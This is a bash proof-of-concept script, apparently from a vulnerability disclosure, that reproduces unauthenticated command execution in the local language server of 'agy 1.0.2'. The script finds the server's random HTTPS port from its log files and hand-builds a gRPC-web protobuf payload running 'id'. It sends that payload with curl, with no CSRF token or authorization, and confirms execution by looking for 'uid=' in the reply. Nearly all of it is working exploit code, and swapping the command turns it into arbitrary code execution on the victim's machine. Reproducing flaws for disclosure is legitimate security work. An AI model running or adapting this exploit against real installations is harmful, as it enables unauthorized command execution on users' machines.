#!/usr/bin/env bash
# Reproduction PoC: agy 1.0.2 Local LS gRPC unauthenticated RunCommand
# 2026-05-24

set -u
WORK=$(mktemp -d)
cleanup() { kill "$AGY_PID" 2>/dev/null; rm -rf "$WORK"; }
trap cleanup EXIT

AGY=${AGY:-$(command -v agy)}
if [ -z "$AGY" ] || [ ! -x "$AGY" ]; then
  echo "ERROR: agy binary not found in PATH" >&2; exit 2
fi

# Step 1: Start agy with a prompt long enough that the LS stays open
echo "[1] starting agy..."
"$AGY" --print "Please write a short essay about CLI design philosophy. Take your time." \
    --print-timeout 5m > "$WORK/agy-stdout.log" 2> "$WORK/agy-stderr.log" &
AGY_PID=$!
START_TS=$(date +%s)
echo "    pid=$AGY_PID"

# Step 2: Discover the LS HTTPS port from cli-*.log (only logs created after $START_TS)
echo "[2] discovering LS port..."
PORT=""
for i in 1 2 3 4 5 6 7 8 9 10; do
  sleep 2
  for log in $(ls -t ~/.gemini/antigravity-cli/log/cli-*.log 2>/dev/null | head -3); do
    MOD_TS=$(stat -f %m "$log" 2>/dev/null || stat -c %Y "$log")
    if [ "$MOD_TS" -ge "$START_TS" ]; then
      P=$(grep -oE 'random port at [0-9]+ for HTTPS' "$log" 2>/dev/null | head -1 | grep -oE '[0-9]+')
      if [ -n "$P" ] && nc -z 127.0.0.1 "$P" 2>/dev/null; then
        PORT=$P; break 2
      fi
    fi
  done
done
if [ -z "$PORT" ]; then echo "ERROR: LS port not discovered" >&2; exit 3; fi
echo "    LS_HTTPS_PORT=$PORT"

# Step 3: Construct a 9-byte gRPC-web RunCommand payload (cmd="id")
#   1 byte flag (0x00, uncompressed)
# + 4 bytes BE length (0x00000004)
# + protobuf body: tag(1, length-delimited)=0x0a, length=0x02, "id"=0x6964
printf '\x00\x00\x00\x00\x04\x0a\x02\x69\x64' > "$WORK/payload.bin"
echo "[3] payload (9 bytes):"
xxd "$WORK/payload.bin"

# Step 4: Send unauthenticated POST. No x-codeium-csrf-token. No Authorization.
echo "[4] sending unauth POST..."
curl -k --http2 -sS -i -X POST \
  "https://127.0.0.1:$PORT/exa.language_server_pb.LanguageServerService/RunCommand" \
  -H "Content-Type: application/grpc-web+proto" \
  -H "Te: trailers" \
  -H "X-Grpc-Web: 1" \
  --data-binary @"$WORK/payload.bin" \
  -o "$WORK/response.bin"

# Step 5: Confirm exec
echo "[5] response strings:"
strings "$WORK/response.bin" | sed 's/^/    /'

echo
if strings "$WORK/response.bin" | grep -q 'uid='; then
  UID_LINE=$(strings "$WORK/response.bin" | grep 'uid=' | head -1)
  echo "MARKER: AGY_UNAUTH_RUNCOMMAND_FIRED"
  echo "uid_line: $UID_LINE"
  exit 0
else
  echo "FAIL: no uid in response body"
  exit 4
fi
